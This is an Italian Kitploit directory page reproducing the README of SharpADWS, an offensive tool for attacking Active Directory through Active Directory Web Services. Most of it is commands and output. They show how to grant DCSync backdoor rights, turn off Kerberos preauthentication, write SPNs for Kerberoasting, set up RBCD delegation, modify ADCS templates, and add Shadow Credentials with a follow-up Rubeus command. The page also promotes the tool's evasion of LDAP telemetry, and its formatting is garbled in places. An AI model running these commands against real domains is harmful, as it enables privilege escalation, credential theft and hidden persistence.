Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/wh0amitz/sharpadws
Escalation di PrivilegiRicognizioneMeccanismi di PersistenzaExploitMovimento LateralePost-ExploitPenetration TestingAutenticazioneRed Teaming
GitHubwh0amitz/sharpadws

SharpADWS

Ricognizione e sfruttamento di Active Directory per Red Teams tramite Active Directory Web Services (ADWS).

6025942 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository

SharpADWS

中文文档

Riconoscimento e sfruttamento di Active Directory per Red Team tramite i Servizi Web di Active Directory (ADWS).

Panoramica

SharpADWS è uno strumento di riconoscimento e sfruttamento di Active Directory per Red Team che raccoglie e modifica i dati di Active Directory tramite il protocollo Active Directory Web Services (ADWS).

Tipicamente, l'enumerazione o la manipolazione di Active Directory avviene tramite il protocollo LDAP. SharpADWS ha la capacità di estrarre o modificare i dati di Active Directory senza comunicare direttamente con il server LDAP. Con ADWS, le query LDAP vengono incapsulate in una serie di messaggi SOAP e poi inviate al server ADWS utilizzando un canale crittografato NET TCP Binding. Il server ADWS quindi decomprime la query LDAP localmente e la inoltra al server LDAP in esecuzione sullo stesso controller di dominio.

I Servizi Web di Active Directory (ADWS) vengono attivati automaticamente quando vengono installati i Servizi di Dominio di Active Directory (ADDS), rendendo SharpADWS universale in tutti gli ambienti di dominio.

Punto di Forza

Uno dei principali vantaggi dell'uso di ADWS per il post-sfruttamento LDAP è che è relativamente sconosciuto e, poiché il traffico LDAP non viene inviato sulla rete, non viene facilmente rilevato dai comuni strumenti di monitoraggio. ADWS esegue un servizio completamente diverso da LDAP, è disponibile sulla porta TCP 9389 e utilizza il protocollo SOAP come interfaccia.

Durante la ricerca su ADWS, abbiamo notato che, essendo un servizio web SOAP, l'esecuzione effettiva della query LDAP avviene localmente sul controller di dominio. Ciò offre una serie di effetti collaterali interessanti che si rivelano vantaggiosi. Ad esempio, quando si analizzano le query LDAP su un controller di dominio, si potrebbe notare che le query provengono da log di 127.0.0.1, che in molti casi verranno ignorati.

Un ulteriore vantaggio è che l'attività non appare in DeviceEvents sotto il tipo di azione LDAPSearch, il che significa che sono disponibili pochissimi dati di telemetria.

Implementazione del Protocollo

SharpADWS implementa i protocolli MS-ADDM, MS-WSTIM e MS-WSDS; puoi utilizzare il codice sorgente di questo progetto per implementare facilmente le seguenti operazioni sui Servizi Web di Active Directory:

  • Enumerate: Crea un contesto che corrisponde al filtro di query di ricerca specificato.
  • Pull: Recupera l'oggetto risultato nel contesto di una enumerazione specifica.
  • Renew: Aggiorna il tempo di scadenza del contesto di enumerazione specificato.
  • GetStatus: Ottiene il tempo di scadenza del contesto di enumerazione specificato.
  • Release: Rilascia il contesto di enumerazione specificato.
  • Delete: Elimina oggetti esistenti.
  • Get: Recupera una o più proprietà da un oggetto.
  • Put: Modifica il contenuto di una o più proprietà su un oggetto.
    • Add: Aggiunge il valore della proprietà specificata al set di valori della proprietà specificata, oppure crea la proprietà se non esiste già sull'oggetto di destinazione.
    • Replace: Sostituisce il set di valori nella proprietà specificata con i valori indicati nell'operazione, oppure crea la proprietà se non esiste già sull'oggetto di destinazione. Se nell'operazione non viene specificato alcun valore, tutti i valori sull'attributo attualmente specificato verranno eliminati.
    • Delete: Rimuove il valore dell'attributo specificato dall'attributo specificato. Se non viene specificato alcun valore, tutti i valori verranno eliminati. Se la proprietà specificata non esiste sull'oggetto di destinazione, la richiesta PUT fallisce.
  • Create: Crea un nuovo oggetto.

Utilizzo

L'argomento della riga di comando -h può essere utilizzato per visualizzare le seguenti informazioni sull'uso:```cmd C:\Users\Marcus>SharpADWS.exe -h

SharpADWS 1.0.0-beta - Copyright (c) 2024 WHOAMI (whoamianony.top)

-h Display this help screen

Connection options: -d Specify domain for enumeration -u Username to use for ADWS Connection -p Password to use for ADWS Connection

Supported methods: Cache Dump all objectSids to cache file for Acl methods Acl Enumerate and analyze DACLs for specified objects, specifically Users, Computers, Groups, Domains, DomainControllers and GPOs DCSync Enumerate all DCSync-capable accounts and can set DCSync backdoors DontReqPreAuth Enumerates all accounts that do not require kerberos preauthentication, and can enable this option for accounts Kerberoastable Enumerates all Kerberoastable accounts, and can write SPNs for accounts AddComputer Add a machine account within the scope of ms-DS-MachineAccountQuota for RBCD attack RBCD Read, write and remove msDS-AllowedToActOnBehalfOfOtherIdentity attributes for Resource-Based Constrained Delegation attack Certify Enumerate all ADCS data like Certify.exe, and can write template attributes Whisker List, add and remove msDS-KeyCredentialLink attribute like Whisker.exe for ShadowCredentials attack FindDelegation Enumerate all delegation relationships for the target domain

Acl options: -dn RFC 2253 DN to base search from -scope Set your Scope, support Base (Default), Onelevel, Subtree -trustee The sAMAccountName of a security principal to check for its effective permissions -right Filter DACL for a specific AD rights -rid Specify a rid value and filter out DACL that security principal's rid is greater than it -user Enumerate DACL for all user objects -computer Enumerate DACL for all computer objects -group Enumerate DACL for all group objects -domain Enumerate DACL for all domain objects -domaincontroller Enumerate DACL for all domain controller objects -gpo Enumerate DACL for all gpo objects

DCSync options: -action [{list, write}] Action to operate on DCSync method list List all accounts with DCSync permissions write Escalate accounts with DCSync permissions -target Specify the sAMAccountName of the account

DontReqPreAuth options: -action [{list, write}] Action to operate on DontReqPreAuth method list List all accounts that do not require kerberos preauthentication write Enable do not require kerberos preauthentication for an account -target Specify the sAMAccountName of the account

Kerberoastable options: -action [{list, write}] Action to operate on Kerberoastable method list List all kerberoastable accounts write Write SPNs for an account to kerberoast -target Specify the sAMAccountName of the account

AddComputer options: -computer-name Name of computer to add, without '$' suffix -computer-pass Password to set for the computer

RBCD options: -action [{read,write,remove}] Action to operate on RBCD method read Read the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of the account write Write the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of the account remove Remove the msDS-AllowedToActOnBehalfOfOtherIdentity attribute value of the account added by the write action

Certify options: -action [{find, modify}] Action to operate on Certify method find Find all CA and certificate templates modify Modify certificate templates -enrolleeSuppliesSubject Enumerate certificate templates with CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag for find action, and can enable CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag for modify action -clientAuth Enumerate certificate templates with client authentication pKIExtendedKeyUsage for find action, and can enable Client Authentication for modify action

Whisker options: -action [{list, add, remove}] Action to operate on ShadowCredentials method list List all the values of the msDS-KeyCredentialLink attribute for an account add Add a new value to the msDS-KeyCredentialLink attribute for an account remove Remove a value from the msDS-KeyCredentialLink attribute for an account -device-id Specify the DeviceID to remove -target Specify the sAMAccountName of the account

FindDelegation options: No options, just run!

root@kitploit:~
### Cache

Quando SharpADWS enumera l'ACL, per non effettuare richieste ADWS aggiuntive per ogni trustee sconosciuto, è necessario creare in anticipo una cache completa di tutti gli oggetti account tramite il metodo cache e salvarla in un file, evitando così un grande numero di flussi (non necessari). La cache contiene una mappatura di ogni nome di oggetto account all'interno del dominio corrente al suo objectSid.```cmd
C:\Users\Marcus>SharpADWS.exe Cache

[*] Cache file has been generated: object.cache

Acl

Il metodo Acl può enumerare il DACL dell'oggetto specificando -dn, e supporta il filtraggio del DACL enumerato tramite i parametri -trustee, -right e -rid. Ad esempio, vogliamo enumerare tutti gli oggetti Domain Controller e filtrare il DACL il cui trustee è Marcus, come segue:```cmd C:\Users\Marcus>SharpADWS.exe acl -dn "OU=Domain Controllers,DC=corp,DC=local" -scope Subtree -trustee Marcus

Severity : Critical ObjectDN : CN=DC01,OU=Domain Controllers,DC=corp,DC=local AccessControlType : Allow ActiveDirectoryRights : ListChildren, ReadProperty, GenericWrite ObjectType : All Trustee : Marcus IsInherited : False

root@kitploit:~
Per un altro esempio, vogliamo enumerare tutti gli oggetti User e filtrare i DACL con autorizzazioni GenericWrite e trustee RID maggiore di 1000, come mostrato di seguito:```cmd
C:\Users\Marcus>SharpADWS.exe acl -dn "CN=Users,DC=corp,DC=local" -scope Subtree -right Generic -rid 1000

 Severity              : Critical
 ObjectDN              : CN=Bob,CN=Users,DC=corp,DC=local
 AccessControlType     : Allow
 ActiveDirectoryRights : ListChildren, ReadProperty, GenericWrite
 ObjectType            : All
 Trustee               : Marcus
 IsInherited           : False

Inoltre, il metodo Acl supporta anche l'enumerazione di oggetti specifici:```cmd SharpADWS.exe acl -user # Enumerate DACL for all user objects SharpADWS.exe acl -computer # Enumerate DACL for all computer objects SharpADWS.exe acl -group # Enumerate DACL for all group objects SharpADWS.exe acl -domain # Enumerate DACL for all domain objects SharpADWS.exe acl -domaincontroller # Enumerate DACL for all domain controller objects SharpADWS.exe acl -gpo # Enumerate DACL for all gpo objects

root@kitploit:~
**È da notare che l'uso del metodo Acl deve basarsi sulla cache di mapping che è stata stabilita tramite il metodo Cache. **

### DCSync

L'azione `list` del metodo DCSync può interrogare tutti gli account a cui sono state concesse le autorizzazioni DS-Replication-Get-Changes, DS-Replication-Get-Changes-All e DS-Replication-Get-Changes-In-Filtered-Set, come segue Mostra:```cmd
C:\Users\Marcus>SharpADWS.exe DCSync -action list

 Severity              : Info
 ObjectDN              : DC=corp,DC=local
 AccessControlType     : Allow
 ActiveDirectoryRights : ExtendedRight
 ObjectType            : DS-Replication-Get-Changes-All
 Trustee               : Administrators
 IsInherited           : False

 Severity              : Info
 ObjectDN              : DC=corp,DC=local
 AccessControlType     : Allow
 ActiveDirectoryRights : ExtendedRight
 ObjectType            : DS-Replication-Get-Changes-All
 Trustee               : Domain Controllers
 IsInherited           : False

 Severity              : Critical
 ObjectDN              : DC=corp,DC=local
 AccessControlType     : Allow
 ActiveDirectoryRights : ExtendedRight
 ObjectType            : DS-Replication-Get-Changes-All
 Trustee               : Alice
 IsInherited           : False
 

È da notare che l'azione list del DCSync Method deve basarsi sulla cache di mapping che è stata stabilita tramite Cache method.

Inoltre, con permessi sufficienti, puoi concedere le autorizzazioni DCSync a un account tramite write per stabilire un backdoor di persistenza del dominio:```cmd C:\Users\Marcus>SharpADWS.exe DCSync -action write -target Marcus

[*] Account Marcus now has DCSync privieges on the domain.

root@kitploit:~
### DontReqPreAuth

L'azione `list` del metodo DontReqPreAuth può trovare tutti gli account con l'opzione "Non richiedere la preautenticazione kerberos" impostata, come mostrato di seguito:```cmd
C:\Users\Marcus>SharpADWS.exe DontReqPreAuth -action list

[*] Found users that do not require kerberos preauthentication:
[*]     CN=Bob,CN=Users,DC=corp,DC=local
[*]     CN=Alice,CN=Users,DC=corp,DC=local
[*]     CN=John,CN=Users,DC=corp,DC=local

Inoltre, è possibile abusare dei permessi WriteProperty sulla proprietà userAccountControl dell'account di destinazione abilitando l'opzione "Do not require kerberos preauthentication" per quell'account tramite l'azione write per eseguire un attacco AS-REP Roasting:```cmd C:\Users\Marcus>SharpADWS.exe DontReqPreAuth -action write -target Administrator

[*] Set DontReqPreAuth for user Administrator successfully!

root@kitploit:~
### Kerberoastable

L'azione `list` del metodo Kerberoastable può trovare tutti gli account con SPN configurato, come mostrato di seguito:```cmd
C:\Users\Marcus>SharpADWS.exe Kerberoastable -action list

[*] Found kerberoastable users:
[*] CN=krbtgt,CN=Users,DC=corp,DC=local
[*]     kadmin/changepw
[*] CN=Bob,CN=Users,DC=corp,DC=local
[*]     WWW/win-iisserver.corp.local/IIS
[*]     TERMSERV/win-iisserver.corp.local
[*] CN=John,CN=Users,DC=corp,DC=local
[*]     TERMSERV/WIN-SERVER2026

Inoltre, puoi abusare delle autorizzazioni WriteProperty sulla proprietà servicePrincipalName dell'account di destinazione per eseguire un attacco Kerberoasting aggiungendo un SPN a quell'account (solo account utente) tramite l'azione write:```cmd C:\Users\Marcus>SharpADWS.exe Kerberoastable -action write -target Administrator

[*] Kerberoast user Administrator successfully!

root@kitploit:~
### AddComputer

Il metodo AddComputer consente di creare un nuovo account computer nell'ambito del valore dell'attributo `ms-DS-MachineAccountQuota`, che può essere utilizzato in successivi attacchi RBCD.```cmd
C:\Users\Marcus>SharpADWS.exe AddComputer -computer-name PENTEST$ -computer-pass Passw0rd

[*] Successfully added machine account PENTEST$ with password Passw0rd.

RBCD

L'azione read del metodo RBCD può leggere il valore dell'attributo msDS-AllowedToActOnBehalfOfOtherIdentity dell'oggetto account specificato per verificare chi ha il diritto di delegare risorse all'account, come mostrato di seguito:```cmd C:\Users\Marcus>SharpADWS.exe RBCD -action read -delegate-to DC01$

[] Accounts allowed to act on behalf of other identity: [] WIN-IISSERVER$ (S-1-5-21-1315326963-2851134370-1073178800-1106) [] WIN-MSSQL$ (S-1-5-21-1315326963-2851134370-1073178800-1103) [] WIN-PC8087$ (S-1-5-21-1315326963-2851134370-1073178800-1117)

root@kitploit:~
L’azione `write` del metodo RBCD può scrivere nella proprietà `msDS-AllowedToActOnBehalfOfOtherIdentity` dell'oggetto account di destinazione per gli attacchi di delega vincolata basata sulle risorse. Come mostrato di seguito, creiamo prima un nuovo account estremo `PENTEST$` utilizzando il metodo AddComputer, e poi possiamo eseguire il seguente comando per scrivere il SID di `PENTEST$` nell'attributo `msDS-AllowedToActOnBehalfOfOtherIdentity` di `DC01$`:```cmd
C:\Users\Marcus>SharpADWS.exe RBCD -action write -delegate-to DC01$ -delegate-from PENTEST$

[*] Delegation rights modified successfully!
[*] PENTEST$ can now impersonate users on DC01$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*]     PENTEST$    (S-1-5-21-1315326963-2851134370-1073178800-1113)

Inoltre, il SID aggiunto nell'azione write può essere rimosso dall'attributo msDS-AllowedToActOnBehalfOfOtherIdentity dell'oggetto target tramite l'azione remove:```cmd C:\Users\Marcus>SharpADWS.exe RBCD -action remove -delegate-to DC01$ -delegate-from PENTEST$

[] Delegation rights modified successfully! [] Accounts allowed to act on behalf of other identity has been removed: [*] PENTEST$ (S-1-5-21-1315326963-2851134370-1073178800-1113)

root@kitploit:~
### Certify

L'azione `find` del metodo Certify può enumerare i dati in ADCS, inclusi tutte le autorità di certificazione e i modelli di certificato, proprio come [Certify](https://github.com/GhostPack/Certify):```cmd
C:\Users\Marcus>SharpADWS.exe Certify -action find

[*] Find CA and certificate templates
[*] Using the search base 'CN=Configuration,DC=corp,DC=local'
[*] Listing info about the Enterprise CA 'corp-DC01-CA'

    Enterprise CA Name              : corp-DC01-CA
    DNS Name                        : DC01.corp.local
    FullName                        : DC01.corp.local\corp-DC01-CA
    Certificate Subject             : CN=corp-DC01-CA, DC=corp, DC=local
    Certificate Serial Number       : 2D975C2D49AE4BB7432682E1708C8834
    Certificate Validity Start      : 2/13/2024 5:55:36 PM
    Certificate Validity End        : 2/13/2029 6:05:36 PM
    CA Permissions                  :
         Enrollment Rights          :
                                    : Authenticated Users
         Object Control Permissions :
             ManageCA               :
                                    : Enterprise Admins
                                    : DC01
                                    : Domain Admins
             ManageCertificates     :
                                    : Enterprise Admins
                                    : DC01
             WriteDacl              :
                                    : Enterprise Admins
                                    : DC01
                                    : Domain Admins
             WriteOwner             :
                                    : Enterprise Admins
                                    : DC01
                                    : Domain Admins
             WriteProperty          :
                                    : Enterprise Admins
                                    : DC01
                                    : Domain Admins

[*] Available Certificates Templates

    CA Name                         : CORP-DC01-CA
    Template Name                   : User
    Enabled                         : True
    Client Authentication           : True
    Enrollment Agent                : False
    Any Purpose                     : False
    Enrollee Supplies Subject       : False
    pKIExtendedKeyUsage             : Encrypting File System  Secure Email  Client Authentication
    msPKI-Certificate-Name-Flag     : SUBJECT_ALT_REQUIRE_UPN  SUBJECT_ALT_REQUIRE_EMAIL  SUBJECT_REQUIRE_EMAIL  SUBJECT_REQUIRE_DIRECTORY_PATH
    msPkI-Enrollment-Flag           : INCLUDE_SYMMETRIC_ALGORITHMS  PUBLISH_TO_DS  AUTO_ENROLLMENT
    msPKI-Private-Key-Flag          : EXPORTABLE_KEY
    CA Permissions                  :
         Enrollment Rights          :
                                    : Domain Admins
                                    : Domain Users
                                    : Enterprise Admins
         Object Control Permissions :
             WriteDacl              :
                                    : Domain Admins
                                    : Enterprise Admins
             WriteOwner             :
                                    : Domain Admins
                                    : Enterprise Admins
             WriteProperty          :
                                    : Domain Admins
                                    : Enterprise Admins
                                    : Domain Users

    CA Name                         :
    Template Name                   : UserSignature
    Enabled                         : False
    Client Authentication           : True
    Enrollment Agent                : False
    Any Purpose                     : False
    Enrollee Supplies Subject       : False
    pKIExtendedKeyUsage             : Secure Email  Client Authentication
    msPKI-Certificate-Name-Flag     : SUBJECT_ALT_REQUIRE_UPN  SUBJECT_ALT_REQUIRE_EMAIL  SUBJECT_REQUIRE_EMAIL  SUBJECT_REQUIRE_DIRECTORY_PATH
    msPkI-Enrollment-Flag           : AUTO_ENROLLMENT
    msPKI-Private-Key-Flag          : ATTEST_NONE
    CA Permissions                  :
         Enrollment Rights          :
                                    : Domain Admins
                                    : Domain Users
                                    : Enterprise Admins
         Object Control Permissions :
             WriteDacl              :
                                    : Domain Admins
                                    : Enterprise Admins
             WriteOwner             :
                                    : Domain Admins
                                    : Enterprise Admins
             WriteProperty          :
                                    : Domain Admins
                                    : Enterprise Admins
                                    : Domain Users

# ...

Inoltre, l'azione find supporta le opzioni -enrolleeSuppliesSubject e -clientAuth, che possono filtrare tutti i modelli di certificato che hanno il flag CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT attivato e supportano Client Authentication:```cmd C:\Users\Marcus>SharpADWS.exe Certify -action find -enrolleeSuppliesSubject -clientAuth

[] Find CA and certificate templates [] Using the search base 'CN=Configuration,DC=corp,DC=local' [*] Listing info about the Enterprise CA 'corp-DC01-CA'

root@kitploit:~
# ...

[*] Available Certificates Templates

root@kitploit:~
CA Name                         : CORP-DC01-CA
Template Name                   : User
Enabled                         : True
Client Authentication           : True
Enrollment Agent                : False
Any Purpose                     : False
Enrollee Supplies Subject       : True
pKIExtendedKeyUsage             : Encrypting File System  Secure Email  Client Authentication
msPKI-Certificate-Name-Flag     : ENROLLEE_SUPPLIES_SUBJECT  SUBJECT_ALT_REQUIRE_UPN  SUBJECT_ALT_REQUIRE_EMAIL  SUBJECT_REQUIRE_EMAIL  SUBJECT_REQUIRE_DIRECTORY_PATH
msPkI-Enrollment-Flag           : INCLUDE_SYMMETRIC_ALGORITHMS  PUBLISH_TO_DS  AUTO_ENROLLMENT
msPKI-Private-Key-Flag          : EXPORTABLE_KEY
CA Permissions                  :
     Enrollment Rights          :
                                : Domain Admins
                                : Domain Users
                                : Enterprise Admins
     Object Control Permissions :
         WriteDacl              :
                                : Domain Admins
                                : Enterprise Admins
         WriteOwner             :
                                : Domain Admins
                                : Enterprise Admins
         WriteProperty          :
                                : Domain Admins
                                : Enterprise Admins
                                : Marcus
                                : Domain Users
                                

...

root@kitploit:~
**Va notato che il `find` del Certify Method deve basarsi sulla cache di mapping stabilita tramite Cache Method. **

L'azione `modify` del Certify Method consente di modificare le proprietà del modello di certificato, come abilitare il flag `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` o abilitare l'autenticazione client, se si dispone di accesso in scrittura al modello di destinazione:```cmd
C:\Users\Marcus>SharpADWS.exe Certify -action modify -template User -enrolleeSuppliesSubject -clientAuth

[*] Enable enrollee supplies subject for template User successfully!
[*] Enable client authentication for template User successfully!

Whisker

Il metodo Whisker è in grado di eseguire il ciclo di vita di un attacco ShadowCredentials proprio come Whisker.

L'azione list del metodo Whisker può elencare il valore dell'attributo msDS-KeyCredentialLink dell'oggetto account di destinazione:```cmd C:\Users\Marcus>SharpADWS.exe Whisker -action list -target DC01$

[] List deviced for DC01$: [] DeviceID: c9fdae6b-f6a1-4880-a498-6dc89814e596 Creation Time: 2/13/2024 7:43:49 PM [] DeviceID: ee48b31f-71b1-4821-b21e-1ca28fad2ae9 Creation Time: 2/13/2024 8:06:52 PM [] DeviceID: 80c31faf-8b0b-4af6-8350-22de2d91a4fd Creation Time: 2/13/2024 8:01:50 PM

root@kitploit:~
Il metodo `add` di Whisker consente di aggiungere una chiave alla proprietà `msDS-KeyCredentialLink` dell'account di destinazione per eseguire un attacco ShadowCredentials se si dispone dell'accesso in scrittura:```cmd
C:\Users\Marcus>SharpADWS.exe Whisker -action add -target Administrator -cert-pass Passw0rd

[*] Certificate generaged
[*] KeyCredential generated with DeviceID 7d9e0151-5fd2-46d5-ac3d-dce8a71399f2
[*] Updated the msDS-KeyCredentialLink attribute successfully!
[*] You can now run Rubeus with the following syntax:

      Rubeus.exe asktgt /user:Administrator /certificate:MIIJzwIBAzCCCYsGCSqGSIb3DQEHA
      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 /password:"Passw0rd" /domain:cor
      p.local /getcredentials /show

Inoltre, con l'azione remove è possibile fornire -device-id per rimuovere la chiave specificata dalla proprietà msDS-KeyCredentialLink dell'oggetto di destinazione:```cmd C:\Users\Marcus>SharpADWS.exe Whisker -action remove -target DC01$ -device-id c9fdae6b-f6a1-4880-a498-6dc89814e596

[] Found value to remove [] msDS-KeyCredentialLink value has been removed: [*] DeviceID: c9fdae6b-f6a1-4880-a498-6dc89814e596 Creation Time: 2/13/2024 7:43:49 PM

root@kitploit:~
### FindDelegation

Il metodo FindDelegation può enumerare tutte le relazioni di delega nel dominio corrente. Questo metodo non ha opzioni o parametri ridondanti:```cmd
C:\Users\Marcus\desktop>SharpADWS.exe FindDelegation

AccountName  AccountType  DelegationType                      DelegationRightsTo
-----------  -----------  ----------------------------------  ----------------------------------------------
DC01$        Computer     Unconstrained                       N/A
PENTEST$     Computer     Resource-Based Constrained          DC01$
WIN-MSSQL$   Computer     Constrained w/ Protocol Transition  ldap/DC01.corp.local/corp.local
WIN-MSSQL$   Computer     Constrained w/ Protocol Transition  ldap/DC01.corp.local
WIN-MSSQL$   Computer     Constrained w/ Protocol Transition  ldap/DC01
WIN-MSSQL$   Computer     Constrained w/ Protocol Transition  ldap/DC01.corp.local/CORP
WIN-MSSQL$   Computer     Constrained w/ Protocol Transition  ldap/DC01/CORP
WIN-MSSQL$   Computer     Constrained w/ Protocol Transition  ldap/DC01.corp.local/DomainDnsZones.corp.local
WIN-MSSQL$   Computer     Constrained w/ Protocol Transition  ldap/DC01.corp.local/ForestDnsZones.corp.local
WIN-PC8087$  Computer     Constrained w/ Protocol Transition  cifs/DC01.corp.local/corp.local
WIN-PC8087$  Computer     Constrained w/ Protocol Transition  cifs/DC01.corp.local
WIN-PC8087$  Computer     Constrained w/ Protocol Transition  cifs/DC01
WIN-PC8087$  Computer     Constrained w/ Protocol Transition  cifs/DC01.corp.local/CORP
WIN-PC8087$  Computer     Constrained w/ Protocol Transition  cifs/DC01/CORP

Parola finale

Questo progetto è stato completato da me in modo indipendente, e ci saranno inevitabilmente alcuni bug. I contributori sono molto benvenuti a inviare issue per segnalare bug o proporre nuove idee per migliorare insieme il progetto!

Scarica lo strumento